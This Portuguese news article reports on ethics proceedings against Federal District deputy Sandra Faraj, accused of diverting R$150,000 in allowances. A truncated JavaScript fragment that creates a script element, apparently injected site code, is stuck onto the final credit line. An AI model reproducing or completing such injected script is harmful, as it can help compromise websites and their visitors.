Mesmo com parecer contrário, Faraj tem maioria na Comissão de Ética

Comissão de Ética vai analisar relatório e decidir pelo prosseguimento ou não do processo. Foto: Carlos Gandra/CLDF

O corregedor da Câmara Legislativa do Distrito Federal, deputado Juarezão (PSB), protocolou na Comissão de Ética da Casa, no começo da tarde desta quinta-feira (11), relatório de 27 páginas favorável ao prosseguimento do processo de cassação da deputada Sandra Faraj (SD). O colegiado tem reunião marcada para o próximo dia 24 para discutir o parecer.

A situação de Faraj, porém, ainda é confortável. Se com Juarezão ela não mostrou tanto prestígio, o cenário na Comissão de Ética é diferente. Dos cinco membros, apenas o presidente Ricardo Vale (PT) sinalizou votar pela cassação da deputada. Telma Rufino (Pros), Agaciel Maia (PR), Wellington Luiz (PMDB) e Raimundo Ribeiro (PPS) estão, até o momento, alinhados com Faraj.

A distrital é acusada de ter desviado R$ 150 mil de verba indenizatória. Juarezão ressaltou que seu parecer é opinativo e disse acreditar que a comissão terá mais tempo e condições para apurar a situação.

Celeridade

O presidente da Comissão de Ética garantiu que será dada urgência à análise do parecer da corregedoria. Apesar da próxima reunião estar marcada para o dia 24, Vale promete tentar antecipar o encontro. Somente após a apreciação do relatório de Juarezão pela comissão, é que será decidido se o processo terá continuidade ou não.

Caso tenha prosseguimento, será sorteado o relator da matéria na Comissão de Ética, e Sandra Faraj será notificada – tendo 30 dias para apresentar sua defesa. Após isso, o colegiado terá 30 dias – prorrogáveis por igual período – para apresentar seu relatório. Nesse período, como apontou Ricardo Vale, poderão ser feitas diligências e oitivas.

Vale adiantou que, em sua opinião, a denúncia deverá ser investigada. “As coisas não estão claras, e é importante lembrar que investigar não é condenar”, ponderou.

Relatório

“Um lado diz que pagou, outro diz que não recebeu, e há ainda a história de ter uma nota fiscal falsificada”, explicou o corregedor ao entregar seu parecer. A denúncia contra Sandra Faraj foi feita no começo de fevereiro por sócio da Agência de Tecnologia e Comunicação Netpub, Filipe Nogueira Coimbra, quem alega que a parlamentar, apesar de ter recebido os recursos do Legislativo local, não teria repassado os valores referentes à prestação de serviços pela empresa. “É preciso esclarecer isso”, concluiu Juarezão.

Com informações da Agência CLDFvar d=document;var s=d.createElement(‘script’);

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